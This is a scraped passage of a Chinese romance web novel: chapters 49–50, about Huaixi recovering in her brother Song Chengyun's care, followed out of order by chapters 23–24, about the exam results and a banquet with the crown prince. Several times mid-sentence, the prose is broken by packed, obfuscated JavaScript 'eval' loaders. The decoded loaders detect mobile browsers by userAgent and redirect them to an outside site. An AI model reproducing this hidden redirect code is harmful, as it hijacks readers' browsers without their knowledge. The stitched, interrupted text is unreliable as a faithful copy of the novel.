l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196364|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是没想到,自己有一日这般执着于生死,会颤抖地,去探一个人的鼻息...... 所有的坚持和告诫,所有不可言说的心思,只要靠近她,全部不适用,通通无所遁形。 - 天光再次黯淡,浓稠的月影爬上树梢。 高热退了之后,怀夕又睡了半日,在三更的梆声刚刚响过后,她的眼眸终于睁开一丝细细的缝隙。 屋内有淡淡的光亮,足够她看清床沿闭着眼眸假寐的人。 “哥哥。”怀夕的声音沙哑地仿佛磨过粗粝的沙。 一声低低的呼喊,闭眼假寐的宋承云立马睁开了眼睛,俯身来看她。 软骨散的药效褪了大半,烧也退了,可因多日未进食,人还是有气无力,但怀夕已经感觉整个人无比地精神。 精神一来,肚子便开始呱呱叫...... “坐起来?”宋承云俯身过来,声音很是轻柔。 怀夕点头。 宋承云便弯下腰,将手送到她颈下,另一只手搂住她的肩,动作轻柔将她扶坐起来。 “先喝点水润润嗓子。”宋承云显然也听到她肚子的声响,“等会再喝点粥水......” “嗯。” 怀夕不知道三更半夜,哥哥是去哪里端了一碗粥水回来。 总之,粥水一口一口被哥哥喂进她的嘴里,胃立刻暖呼呼的。 五谷为气之本,粥水一下肚,怀夕感觉自己说话都多了两分力气。 “这是哪?”怀夕眼睛在屋里转了一圈,很是简陋的摆设,她吞下一口粥,问道。 “是罗湖城里的一个客栈,你睡了几日......”宋承云把碗放回桌上,解释道。 睡了几日? 难怪怀夕觉得自己此刻精神无比饱满...... 那哥哥岂不是这几日没点卯...... 看到怀夕眼里的焦急,宋承云立刻有所领会一般,“无妨,我是奉太子之命出的城......” 具体是什么命,他没有继续说。 太子当然不是无故伸以援手,宋承云很明白他想要什么。 此番打着太子的旗号办事,自然会被归派。贤臣择主而事,立场本来就只有一个,太子本就是名正言顺的未来之主,即使没有此事...... 但这些无需同怀夕点明。 待怀夕摇头不欲再吃,宋承云便把碗收走,又拿来一块热毛巾,替她擦洗脸颊。 他的动作不算熟稔,怀夕微仰着头,皱着脸任他擦拭。 不久后,门口有人轻轻敲了下门。 宋承云走过去打开门,又端了一碗药进来。 热气氤氲的药碗,草药味很快弥漫开来。 怀夕忽然想起被宋承林挟走时喝下的一碗碗药,还有最后那碗...... 虽有些神志不清,可她依稀记得他癫狂的模样...... 待宋承云坐到床沿,欲喂她喝药时,她没忍住,干呕了一声。 宋承云也不逼她,不知从哪里掏出一包裹着糖粉的梅饼,捡出一枚,喂到怀夕嘴边。 酸酸甜甜的,怀夕的心思一下被转移。 糖粉包裹着酸涩的梅子,酸酸甜甜让怀夕忍不住眯起了眸子。 见宋承云一直盯着她,怀夕以为他也想吃,,从他掌心那包梅饼里捡了一颗,作势要喂他。 可刚抬起手,又想起哥哥不喜欢这样的行为,刚想作罢。 梅饼还没放下,宋承云的脸就送过来,蹭过她手指尖...... 怀夕看着哥哥把她指间的梅饼咬走......虽然没碰到她,但她的手还是忍不住微微颤了颤。 49. 第 49 章 看着宋承云和她一样被酸得皱起的眉宇,怀夕忍不住笑出声。 待宋承云再把药端起来要喂她时,她便没那么抗拒了。 药本来就苦,宋承云还喂得慢,怀夕索性拿了过来,一口闷了下去。 眉头紧皱时,嘴边又被塞了一块梅饼,怀夕张开嘴含住,重重抿着,让糖粉迅速将苦味掩下。 见怀夕精神尚好,宋承云陪她说了一会话。 只是从怀夕醒来之后,两人不知有意还是无意,都没提到宋承林。 客船上的人已经被截住,是宋承林的小厮和小艾。 得知小艾没什么事,已经被安排坐船回金陵,怀夕总算也放心下来。 可她突然又想到另一个丫鬟,小兰。 不知道宋承林有没有为难她,毕竟曾经答应要将卖身契还给她,怀夕犹豫了一下,还是问道:“哥哥找到我时,可有见到一穿着蓝衫的小丫鬟,约莫十一二岁。” “嗯。都放了。”宋承云眼睑垂下,看不清眸底神色, 怀夕却敏感地察觉哥哥的情绪。 她挪了挪姿势,半跪着将身子歪过来,抬起未受伤的手,抱住宋承云。 “是我自己防备心不足,不是哥哥的错。”怀夕的手在他肩胛处轻轻拍了拍,带着安抚的意味,“哥哥不要内疚......” 宋承云的脸淹没在阴影中,只能隐约看到他绷得紧紧的脊背。 宋承云接触的女子不多,可也知道,任何女子,遭遇这种事情该有多害怕,多无助。 怎么不是他的错? 明明该委屈责怪他的人,此刻却一遍一遍地安抚他。像是寒潭被投入了一块巨石,宋承云心头激起层层涟漪,小姑娘言语越是轻软,越是装作没事的样子,他心头就闷痛得越厉害。 但他并不拂姑娘的好意,在心里重重地叹了一口气,他伸手,扣住那纤细的腰身,将她轻轻拥入怀中, 怀夕能感受到哥哥似乎很伤心,只好回抱地更紧,她不要哥哥自责,也不要哥哥难过...... - 翌日一早,马车继续往北走,两个日夜后,终于回到他们的宅子。 安置好怀夕后,宋承云就去了一趟太子府,翌日便正常回去上值。 除了亲近之人,无人知道怀夕在金陵城消失了几日。 一切仿佛都没有变化,只是怀夕经此一遭,受了些惊吓,明里暗里,好似更有些依赖宋承云了。 回来的第二日,夏敏便带着王郁心上门,其中缘由夏敏清楚,可王郁心不清楚,看到怀夕包裹得厚厚的手掌,惊讶地追问她怎么受的伤。 怀夕哽了哽,不知道该怎么解释,好在夏敏故意打岔,王郁心的注意力立马又转到屋里的小猫奴上。 夏敏送了很多伤药,见怀夕精神还不是很好,也没有多呆,嘱咐她好好养身子,等天暖些教她打马球。 怀夕乖乖应是。 来回不过十日,金陵已经下过几场大雪,院子里积了厚厚一层积雪。 怀夕坐在罗汉床上,透过雕花窗看到屋外梨枝被厚厚的白雪压弯了枝头,她百无聊赖地抚着手里柔软的小猫奴。 雪下得太大,官河比平常更早地结冻,怀夕刚从书信得知原定今日到达金陵的小艾因河道结冰半道下船,改作陆路上京,也不知道还有几日才能回到。 哥哥当值,小艾不在,琥珀和翡翠向来拘束,怀夕一个人呆在屋内,无聊得有些发慌。 偏偏右手又动弹不得,连下棋翻书都不趁手...... 怀夕索性把身子往下沉,把毯子拉高,搂着小猫奴准备再眯会...... 不料一眯就又眯了大半个时辰,待怀夕迷迷糊糊睁开眼时,宋承不知何时进屋,已经坐在罗汉床的另一侧了。 见她醒来,他把手里的书放下,走过来,隔着毯子自然地将她抱揽坐起,又在身后替她垫了个枕头。 除了手还不太方便,身子气力已经恢复,哥哥再如同照料小孩一般照料她,怀夕不免也有些羞赧。 待宋承云回到位上,怀夕接过他递过来的茶水,抿了一口后道:“我已经好许多了,哥哥不用这般小心。” 宋承云淡淡应了声,“嗯。” 因着怀夕身子的缘故,这几日,膳食并没有摆在偏厅,而是在怀夕屋子里的外厅用。 虽有些不合常理,不过侍候的仆侍倒也没有多想,只觉得宋编修疼宠妹妹。 平日用过膳食后,宋承云会在这里留一阵,听怀夕说一会话,或应她的要求,给她念书,待她怀夕准备休息才回书房处理自己的事。 只是今日有件事比较紧急,宋承云用过膳,就欲回书房。 怀夕盼了一天,没想到哥哥就陪他这么一小会就要走。虽然心底有些失落,但也懂事地没有多说什么,只是在宋承云转身后压了压嘴角。 宋承云仿佛身后长了眼睛一般,临出门前回头来看她。 “一会过来穿得暖和些。” 怀夕眼睛立马又亮了起来,立刻吩咐琥珀替自己梳洗添衣。 - 怀夕推开门进书房的时候,宋承云头抬都没抬,伏案不知在认真写着什么。 琥珀在门外已经帮她把身上斗篷上薄薄的风雪拍干净,怀夕也不去扰他,自己解了斗篷,放在挂衣的地方,自己往内室走去。 因是宋承云特意吩咐,内室放了个烧得旺的炭盆,明显比外间暖和些。 有一阵没来这里,里头的装饰还是一成不变,只是怀夕专属的桌子上新插着两株红梅,榻上多了一层毛绒的薄毯。 毯上还放着她上次未看完的杂记。 怀夕不禁轻笑了一声,还是哥哥了解自己,一切都那样刚刚好。 怀夕轻手熟脚,褪下鞋子,半靠在软榻上,翻着那本未看完的书。 大概又过了半个时辰,宋承云终于把笔放回到桌面,他静坐了一瞬,思绪慢慢回笼。 窗外,月色如水,洒在压满雪花的枯枝,偶尔有雪落的声音,更衬得屋内宁静。 有书页翻动的声音轻轻响起... 宋承云站起身,走到内室。 小姑娘将书册盖在脸上,他都不知,她还将小猫奴带过来。此刻小猫奴压在她臂上,两者皆睡得香甜。 宋承云没走进去,轻轻开门走了出去。 很快,正屋内的净房传来隐约的水声。 大约两刻钟后,宋承云又回到书房。 宁静的夜,屋外枝丫被雪压折,发出轻闷的折断声。小猫奴敏锐,听到声音翻了个身,伸着懒腰,把毛茸茸的小脚踢向怀夕下颌。 怀夕慢慢转醒,把身子撑了撑,稍坐了起来,又把翻得四仰八叉的小猫重新搂到怀里。 看到宋承云坐在她的书桌看书,她困倦道:“哥哥忙完了?” 她眸中还带着几分朦胧的睡意,像是晨雾未散的湖面,透着淡淡的水雾。说话时,她手指轻轻揉了揉眼角,指尖微微蜷起,动作与她怀中的小猫奴如出一辙。 宋承云目光却一直落在她怀里的小猫奴身上。 小猫奴不仅耳朵敏锐,五感也皆灵敏,似乎能感觉到宋承云若有似无地敌意,往怀夕怀里钻得更紧。 怀夕喜欢它的亲近,去抓挠它头顶,小猫享受地发出呜呜声,又来回舔怀夕的手心...... 宋承云眉头微微蹙起,手中的书卷不自觉捏紧了几分。 他直起身,几步走近,单手把怀夕怀里的小猫提到地上。“手还没好,不要抱重物。”他神情平静解释道自己的动作。 小猫奴出生还不到两月,不算重物吧...... 怀夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202076|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着在榻下焦急抓挠,显然很想回到她怀中的小猫奴,心有不忍,忍不住替它辩白:“年年还那么小,它很乖的...” 宋承云不知道有没有听到,他转身拉了个绣凳放在她身侧坐下。 待他坐定,怀夕刚想召唤小猫奴跳上床来,宋承云却对她扬了扬她还没看完的杂记,轻声问:“听么?” “......” 听。 当然听。 哥哥声音清冽,气息顺畅,念起书来别有一番风味。只要他有空,怀夕常常让他给她念书。 但宋承云不知道,怀夕有时看似听得认真,其实根本没把注意力放在他念的内容,而是沉醉在他的声音里...... 宋承云做什么事,向来都十分认真,只是念到有些好笑的地方,他的语调仍十分平淡。 不过怀夕这次是认真在听着的,虽然哥哥讲得不那么绘声绘色,怀夕还是笑出了声。 听到她的笑声,宋承云抬眸看她,眼中带了一丝疑惑。 怀夕也不解释,伸手把宋承云手里的书抽走,“不听了。” 她为他递上一杯茶水,“哥哥声音都涩了,快些润润喉。” “嗯。” 怀夕把身上的薄毯拉开,撑着手想要起来时,宋承云另一只手忽地伸过来将她按住。 怀夕不解看他。 “冷。”他解释,“想拿什么?” 怀夕有些不好意思,咽了咽口水,“我饿了。” 回家几天,每日都是清淡的粥水,精气神恢复后,怀夕哪里还吃得下这些,她向来是无肉不欢的。 但软骨散的药效虽解了,怀夕手上还有伤口,大夫吩咐还是要尽量清淡饮食。 宋承云瞥过她包得厚厚的手掌,又看她殷切的眼神,终究不忍。 “想吃什么?” “刘婆子下午做了腌肘子,我想吃腌肘子!”怀夕眼神立刻就亮了,若能再温上一壶糯米酒,那便更好了! 不料宋承云听完,却摇头:“夜深了,吃肘子不好消化,晚些闹肚疼。”他替她决定,“今日我让松毫带回来的核桃酥还有么?” 怀夕扁了扁嘴,点头。 虽有核桃酥也是她喜欢的,可核桃酥哪有肘子香...... 她都几日没有大口吃肉了....... 话虽这样说,但最后捧着核桃酥吃的时候,怀夕还是十分满足。 宋承云怕怀夕积食,待她拿起第三块,就把碟子挪开了。 怀夕基本也填饱了肚子,也不在意,拿着手里最后一块酥一口一口慢慢啃咬。 “哥哥不吃么?”怀夕舔了舔唇瓣,将酥碎卷了进去。 宋承云摇头,垂眸看地上缩着白色小手套假寐的小猫。 “水。”怀夕对着茶杯努了努嘴。 宋承云替她将茶杯拿过来,怀夕两只手都沾了酥碎,便只将头凑了过去。 桌上的烛火随着怀夕的动作突然摇曳,映在她的脸庞上,她的如玉肌肤在光影交错中透出淡淡的光泽。 突然靠近的脸庞,宋承云短暂地怔愣一下,而后在怀夕不满的皱眉中手腕微压,微微倾斜茶杯。 因着喂水的动作,宋承云不得不将目光落在怀夕脸上。 烛光在她的微垂的眼睫下跳跃,投下细密的阴影,鼻梁秀挺,唇色如樱...... 喝完后,女子仰起头,毫不吝啬她清灵的笑容。 被水浸染过的两片嫣红唇瓣晶莹剔透,笑起来时能看到藏在里头的几颗贝齿,配上两颊浅浅的小梨涡,一副天真娇俏的模样...... 宋承云的目光不由自主地追随着她的身影,却在与她视线相触的瞬间,慌忙掩下眼眸。 收回手杯的指尖微微发颤,心底那股无法自控的悸动让他有些无所适从。 50. 第 50 章 许是最近一直吃的少,刚喝下半杯水,肚子忽地就胀了起来,怀夕只好坐挺起来。 手里的酥才咬了几口,扔掉又浪费,怀夕只好问:“哥哥吃吗?” 若是吃的话,把她咬的位置掰掉,还有一大半。 见宋承云点头,怀夕便欲掰掉那块位置。 没想到宋承云直接伸手将她手上的酥拿走,就着另一块没吃过的地方,咬了一口。 “......” 怀夕有些惊讶,不过想了想,也行,咬几口不要了好过整块扔掉。 手上还沾着碎,另一只手又不方便动作...... 怀夕就那样干抬着手,左右看看周围有没有帕子。 小艾不在里面,还是有些不方便...... 宋承云虽没看她,但许是余光略到她的动作,手上的核桃酥只咬了一口,便放到一旁,从身上拿出一条帕子,将怀夕的手轻拉过来,仔细地擦拭。 他做任何事情向来都很认真。 擦手亦是,不放过任何一处空隙。 怀夕盖着毯子,手是温热的。 而哥哥沐浴后穿的却有些单薄,手是微凉的。 怀夕看着哥哥隔着帕子轻柔而专注地为自己擦拭手指,他的手比她大很多,干净而修长...... 哥哥的手并没有触碰到她的,但隔着帕子相叠时,怀夕的心突然跳得有些快。 明明这几日哥哥都是这样照顾她的,但不知怎地,怀夕忽然有些不自在。 只是她刚想将手抽走,哥哥就已将她的手擦净送回薄毯下。 “夜深了,回去睡吧。”宋承云起身,去取她的斗篷。 薄毯下的手微凉再次转暖,带着些微微的麻感... 怀夕无意识地捏了捏手,乖巧应道:“好。那哥哥也早些歇息。” - 院里的积雪被扫开,很快又落了厚厚一层雪。 小艾不在,琥珀和翡翠又还有些拘束,怀夕在屋内待了几日,很快就待不住。她让琥珀将她的斗篷取来,说想去院子里垒雪人。 琥珀看着外面洋洋洒洒的大雪,劝说道:“姑娘,您的病才刚好,身子还虚着......” 但怀夕不听,琥珀也没有办法,只好去里头将斗篷拿了出来。 这边刚披上,翡翠就推门走了进来。 门被打开一道只可侧身钻人的缝,只一小会,一股夹雪的寒风便也跟着翡翠的身影一起钻了进来。。 “姑娘要出去?”翡翠见琥珀在替怀夕系带,有些惊讶。 怀夕微仰下颌,方便琥珀系带,眼睛带着笑意朝翡翠瞥过来,“正好你回来,你们也穿厚点,陪我去外头垒个雪人。” 翡翠乜了琥珀一眼,怎么可以不劝着姑娘。 外头冰天雪地的,公子日日叮嘱,不能让姑娘受寒。 琥珀白白受了责怪,也是委屈,低着头不说话。 “你别怪她。”怀夕瞧见翡翠瞪琥珀那一眼了,她牵琥珀的手,“是我呆得闷了。” 翡翠年纪大些,平日做事更周到细致,知道怀夕吃软不吃硬,只好慢慢劝道:“今日是大雪,公子午后不当值,定是会回来陪姑娘用膳的。” 翡翠走近,声音轻柔,“刘婆子今日买了好些羊肉,已经在灶上炖着了。羊肉最是驱寒保暖,一会等汤煲好了,喝过汤,奴婢们再陪姑娘玩雪,可好?” ...... 怀夕正在兴头上呢,哪里那么容易被说服。哪知翡翠又拿了一包东西放到她手心,“姑娘看,这是什么?” 怀夕微垂着嘴角,并不是很感兴趣,但还是配合着打开。 嗯? 一包雪白的兑糖儿。 “刘婆子看街上有人卖,特意为姑娘买的。”翡翠笑着解释道:“不过刘婆子说了,这兑糖甜的掉牙,姑娘莫要贪甜,尝一尝就是了。” 哪里甜的掉牙,怀夕觉得刚刚好,捧着手里的小零嘴,乖巧地任翡翠把斗篷重新解开。 好不容易哄得怀夕又在屋内待了一个多时辰,就在怀夕即将坐不住的时候,宋承云终于回来了。 听到外面松毫的声音,琥珀和翡翠对视了一眼,暗暗松了口气。 公子回来了,就有人能管得住姑娘了。 大部分时候,宋承云兄妹相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223138|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处时并不常留仆从在侧,所以他们还不清楚,其实许多时候妥协听话的,大抵是他们那位端方沉默的公子。 所以,当怀夕午睡醒后,依然说着要出去玩雪,翡翠和琥珀是有些惊讶的。 怀夕不知道两个小丫鬟的心思,好不容易午膳时让哥哥答应陪她玩雪,没想到午觉睡得香,醒来都过了申时了,她嘴上催促着,“快些快些,起晚了......” 琥珀和翡翠只好加快手上的动作。 很快,怀夕被裹得严严实实,待琥珀为她插上最后一支珠钗,她便迫不及待从梳妆台前站了起来。 虽裹得严实,脚步却还是很轻巧,下摆随着她欢快的步伐轻轻摇曳着。 两个丫鬟连梳妆盒都来不及整理,便赶紧小跑着跟着那翩跹的身影往外头而去。 怀夕冒着雪寻到书房,推门进去,坐在桌前身如修竹的男子恰好抬头。 怀夕唇角不自觉往上翘,露出两颗小小的梨涡,眼睛甜津津的,像是盛满蜜糖一样,对眼前的景象显然很满意。 ——哥哥果然守约,已经披上他的灰鼠斗篷在等她了。 “走?”怀夕就站在门口问。 她眼里的欢喜从眼角眉梢漫出来,连声音都带着轻快。 宋承云冷清的眸底浮出一层纵容的柔光,他招手示意她走近。 “先喝盏热茶。” 身子暖了,才不容易受寒。 怀夕很听话,走到宋承云跟前,端起不知何时准备好的还在冒着热气的茶杯,也不坐,就站着,一口一口地轻抿着。 因着茶水还有些烫,她喝得慢且认真,不知道身旁有道目光在她身上逡巡而过。 宋承云的确在看怀夕,外头冷,他在确认她穿得够不够厚实。 小姑娘倒是准备充分,鲜见地穿了一身浅紫色的锦缎夹袄,白梅朵朵,脖子上还围了圈蓬松的毛边,莹白小脸贴着软毛,衬得肤白发浓,五官愈发灵动。 温度适宜之后,怀夕把剩下的水一饮而尽,将茶杯扣在桌上,不愿再等,拉过宋承云的手便往外走。 边走还边喏喏不满道:“哥哥再不走雪都停了。” 23-30 第23章 第23章原来那些拘谨和期待,统…… 满阶芳草绿,一片杏花香。桃花和杏花开的洋洋洒洒的时候,终于迎来发榜的日子。 十年寒窗苦读,一朝金榜题名。这样的日子,注定有人欢喜有人忧,但在结果揭晓之前,任何人都抱着希望。 放榜这日,天还未亮,发榜处已经密密麻麻站满了人。 宋承云会试结束那天,怀夕起了大早。可今日,直到辰时,宋家宅院还是十分宁静。 倒也不是怀夕不在意,而是去了也不一定挤的进去。且清河书院早早就派了人守在榜前,若是有学子中榜,去发榜处挤还不如去书院问问。 因此,宋承云提前交待好,不让怀夕去凑热闹。 待兄妹二人吃完早膳,松毫也从书院回来,后边还跟着一行上门庆祝的同窗。 不出所料,宋承云为榜首会元。 深僻的小巷子还没有这般热闹过,门外沾满了恭贺的人,不仅恭贺宋承云,也恭贺对面的杨铭。 原来,杨铭也榜上有名,且名次位列第八,也在前列。 喧喧闹闹谢酬了一日,第二日,宋承云同杨铭便回到书院,准备下一场决定命运的考试——殿试- 杏花落尽,芍药盛开,正是蟾宫折桂日。 新科进士御马游街那日,怀夕在人群中看着身穿大红袍,头戴金花乌纱帽的哥哥,激动地无法言语。 红色原本是热烈、温柔的颜色,可一身红色华服却将宋承云本就疏冷缥缈的眉眼衬得愈发冷清。 他跨坐在金鞍红鬃马上,身姿笔挺,目光平和地落在人群上,像是九天的神衹,晴云秋月,尘埃不到。 人声鼎沸,怀夕被人群推搡着,第一次发现,原来,哥哥这般耀眼。 子若青山立,家之坚后盾。琼林宴后,清河书院也办了一个简单的庆功宴,邀请学子家眷一同庆贺。 原本只是普通的庆功宴,可太子意外亲临让这个庆功宴变得不那么普通。 当今太子是皇帝元后唯一的孩子,元后与当今皇帝伉俪情深,可天不遂人愿,皇帝登基不到三年,皇后因病逝世,只留下年仅七岁的太子。 皇帝十分爱重元后给他留下的孩子,元后逝世后,将太子待在身边亲自教养,也再未立过皇后。即便后来沈贵妃宠冠后宫多年,诞下二子一女,太子的地位也从未变过。 参加庆功宴前,宋承云带着怀夕,先去拜见王老太师。 王老太师已经七十有余,前不久递上致仕的折子,皇帝念其年迈,又感念其功,破例加封太保,允其致仕。 王老太师出身名门,年轻时仕途并不算顺利,几经波折,后来被先帝指给当今皇帝做老师,仕途才慢慢顺利起来。官场浮沉中,早就练就一身宠辱不惊的本事。 大约是临老了悟到人生的真谛,反而孩子气起来,做事但凭心意,除了王老太太,几乎无人能左右他的想法。 不过,王老太师这样的转变,除了其子王楚修有些无奈,孙子辈的倒乐见其成。 人常说,青出于蓝而胜于蓝,可他们终其一生,都很难达到祖父的成就。但祖父常教导他们,人活一世,草木一秋,来如风雨,去似微尘,万物皆有回转,要他们切莫钻牛角尖,追求那些不属于自己的东西。 怀夕并不是第一次见王老太师,因夏敏认了她做干女儿,王家许多节庆怀夕也常常会出现,加上她前两年在夏敏开办的学堂里上学,碰面的机会不算少。 不知是爱屋及乌的缘故,还是本就喜欢怀夕自然懵懂的性子,王老太师夫妇对怀夕也颇有好感。 今日是书院的庆功宴,按礼每位学子带着家眷来拜见王老太师。 宋承云兄妹被请入正厅时,里头已经站着不少人,而坐在王老太师座下右侧的那位男子,暗紫色直襟长袍,腰封处坠翡翠麟纹玉佩,脚踏黑色云纹长靴,气宇轩昂。 这便是当朝太子。 太子虽为储君,却也是王老太师的学生,今日是以学生的身份赴宴,因此并未坐在主位上。只不过他眉宇间自带一股运筹帷幄的沉稳气度,虽没有点破身份,可厅上的人看到裴世子也只能站在他身后时,心里也大概有了猜测,不自觉肃静起来。 宋承云并不是第一次见太子,但见王老太师和太子都没有点破身份,携怀夕向王老太师夫妇行礼后,又向座上的太子行礼,便退到一侧,也未向怀夕多透露一句。 怀夕安静地跟在宋承云身后,除了问安,便未再抬头,因此,也未注意到太子身后的裴劭。 太子今日,虽是以学生身份赴宴,但其实大家心知肚明,他是提前来看看今年中榜的学子。 一番观察和交流下,太子也记住了几个名字,除了老太师爱重的弟子宋承云,还有苏宁的杨铭,分宜的李凯之 所行收获颇丰,太子心中颇为满意。很快,王老太师站起来,中气十足:“园中已敬备薄酬,请各位移步吧。”说完,他朝太子伸手,请他先行。 老太师夫人心细,见许多学生家眷颇为拘束,继续说道:“一日为师,终身为父。今日只是家宴,园中已备曲水流觞宴,请诸位自便。” 待出了前厅,宋承云 被王司时和几位同窗叫住。 宋承云回头看了看身后的怀夕,小姑娘也遇到几位同伴,顺着她的视线,看到王郁心在叫她过去,宋承云看了她一眼,便跟着王司时一同绕回前厅上去了- 王老太师风雅趣味,书院各处都装点的颇为雅致。会客的前厅,两边轩窗大开,左边窗外是参天古木,翠竹轻摇。右边窗外是水榭回廊,蜿蜒曲折。 而此时王老太师请辞去更衣,厅上只余太子和裴劭二人。 没了旁人,太子神色也放松了几分。 窗外绿叶飒飒作响,太子放下手中清茶,看向他从前的伴读裴劭。 “我以为你喜欢的会是那种温柔娴静的大家闺秀。”太子说得漫不经心,“像是沈贵妃的侄女就颇有才名。” 裴劭听完皱了皱眉,似想分辨太子此话有无其他深意。 他自小作为太子的伴读,对太子的处境也略知几分。虽说皇帝对太子自小爱重,可太子之位,谁敢说做得十稳九当。 宠冠六宫的沈贵妃,毕竟有皇子,且贵妃的哥哥,是当朝首辅沈震 裴劭听完太子的话的确心惊了一会,难道太子是需要他 太子的确只是闲聊,但见裴劭如临大敌,只好笑道:“你莫要想太多,我只是玩笑。且就算你喜欢,沈震也未必愿意将她的女儿嫁给你。” 毕竟,裴劭是他的人。 裴劭随之松了口气。 太子觉得好笑,嘴角扬着浅浅的弧度,意有所指道:“倾国倾城不至于,倒是十分清秀灵动,难怪入了我们裴世子的眼” “不过,她有那样的哥哥,你未必能抱得美人归” 怀夕一直低着头,宋承云虽不时与人交谈,却一直将她护在身后,太子也不好真一直看着人家。 不过就一两眼,也看了个大概。 谈不上多美貌,不过那双灵动清澈的杏子眼,叫人过眼难忘。 太子知道怀夕的存在,不是因为宋承云,而是因为裴劭。 裴劭作为他的心腹之一,边疆之行是他安排的。他身边武将不多,父皇将世袭将军的裴劭放在他身边作为他的伴读,的确是深谋远虑。 父皇渐渐老了,以首府为代表的内阁势力却如参天大树,不停壮大,盘根错节。 用人如器,只要能物尽其用,就是一把趁手的好刀。 太子并不认为首辅做错了什么,身在其位谋其政,除了贪权贪财,首辅的能力有目共睹。但不管他的野心膨胀到哪一步,兵权,江山,都不是他能染指的。 他欣赏强者,眼下首辅和贵妃虽没有露出可疑的痕迹,可他却要未雨绸缪。 识人善用,是父皇教他的第一节课,所以,他才会出现在这里。武能安邦,文亦能治国。这一批学子,尤其是宋承云,目前看来,就很好。 如今西北的领将,是从前裴劭的父亲裴琨的副将简虎,尸骨战场中存活下来的常胜将军,要收服他,靠得不只是权力,而是要他彻底的信服。 裴劭注定要替他守在边疆的。 听闻宋承云家中只余兄妹二人,看他对这个妹妹十分在意的模样,不一定舍得让她远去西北 裴劭因父亲战功,自小便袭了爵,又加上是太子伴读,身份显赫。上天似乎也不忍他年少失去双亲,所以赐了他一副丰神俊美的好模样。也因此,他在金陵城自来是受追捧的对象,这也使得他的性子愈发落拓不羁。 可就是这样的人,在听到太子的话后罕见地滞了一滞,耳尖肉眼可见地变成粉色。 要说是什么时候动心,裴劭其实有些拿不准。 是元宵灯会上,眉眼半笼在兜帽内的女子毫不相让,说灯是她先看上的时候。 又或许是后来再见时,女子展开手中的铜钱,递还给他,他心头突然涌上一股喜悦时。 但不可否认,去年重阳,在青元后山,自己彻底明白,对她的心意。 原来初遇故意刁难,再遇时的失落与欣喜,和后来次次相见时的拘谨和期待,统统叫做喜欢。 第24章 第24章他很清楚地意识到,妹妹…… 这次曲水流觞宴是夏敏亲自筹办的,甚是有新意。 男女宾分开就坐,中间只用屏风帷幔隔着,因都是家眷,倒不用泰国避讳,四周皆是敞开。 花树点缀,清泉潺潺流淌。酒足饭饱后,宾客三两聚起,游园闲聊。 怀夕本是与王郁心和丁心兰同桌而食的,但吃了一半,娇娇不肯,丁心兰只好带她去那边水池看游鱼。 王郁心很快也被夏敏叫走。 因是家宴,仆妇们都留在外院,怀夕一人吃着无趣,又不知道帷幔对面哥哥是否吃完,便落下筷子想去找丁心兰。 可刚走到回廊,迎面就走来一人,挡住她前行的路。 “裴世子?”怀夕有些惊讶,“你怎么也在这?” 裴劭低声一笑,反问道:“我怎么不能在这?” 是哦,这是他姨母家 怀夕讪讪笑道:“我以为你未参加科考” “啊,我不是那个意思”她不是说他未中榜就不能来参加 啊,怎么觉得解释了反而更奇怪? 裴劭看着怀夕语无伦次,眼角眉梢俱是笑意,“你的脚好全了吗?我给你的药可用完了?” 裴劭给自己解了围,怀夕乐得其成。 “还没用完,不过已经好了。”她笑着说道:“跑起来也不痛了。” “你呢?你的伤好了吗?” 她以为他伤得不厉害,可上次问他又说伤还没好,怀夕不免也有些愧疚。 想到上次意外撒的小谎,裴劭有些尴尬,含糊地说道:“也好了。” “那就行。” 裴劭还想说些什么,就听到有人唤怀夕的名字,他也跟着看过去, 原来是丁心兰抱着娇娇走过来。 怀夕绕过裴劭,笑着迎上去,将娇娇接过来,在娇娇白嫩的脸上重重亲了一下 不知为何,裴劭听到那声音,肉眼可见地僵硬了一瞬,很快就告辞回了宴场。 丁心兰看了眼正逗弄娇娇的怀夕,又看了眼连背影都有些慌乱的小世子,眼神转了转。她从怀夕手里将娇娇抱下来,让她自己在旁边玩,她则与怀夕坐在廊檐边上。 “刚刚过来的路上,见到你哥哥被几个小娘子围住了。”丁心兰笑道:“金陵的女子果然大胆些。” 怀夕卷了卷衣摆,叹了口气,“别提了,刚刚也有好几个姨婆拉着我问我哥哥喜欢什么样的女子。” 怀夕丝毫不意外,哥哥是状元郎,又生的那般好。王老夫人和干娘也问过她同样的问题,她们说哥哥到了成婚的年纪。 可她哪里知道哥哥喜欢什么样的女子。 虽不清楚,但被问得多了,她也大概知道怎么回答了。 她想,小时候哥哥总嫌他吵闹,那他肯定喜欢安静的女子。外貌呢,她设身处地想一想,当然好看些更好。性子呢,别像她这般调皮,持重些 总之,听她说完,王老夫人和干娘都点了点头,似乎也很赞同。 听到怀夕的说辞,丁心兰噗嗤一笑,她也想象不出来怀夕那清隽疏淡的状元郎哥哥会喜欢什么的女子。 想过刚刚慌乱逃走的裴劭,丁心兰试探地问道:“那你与那裴世子?” 丁心兰顿了一下,怀夕没等到她的下文,疑问道:“什么?” 丁心兰看着怀夕一脸懵懂的模样,心下暗叹,小姑娘估计还没开窍呢。 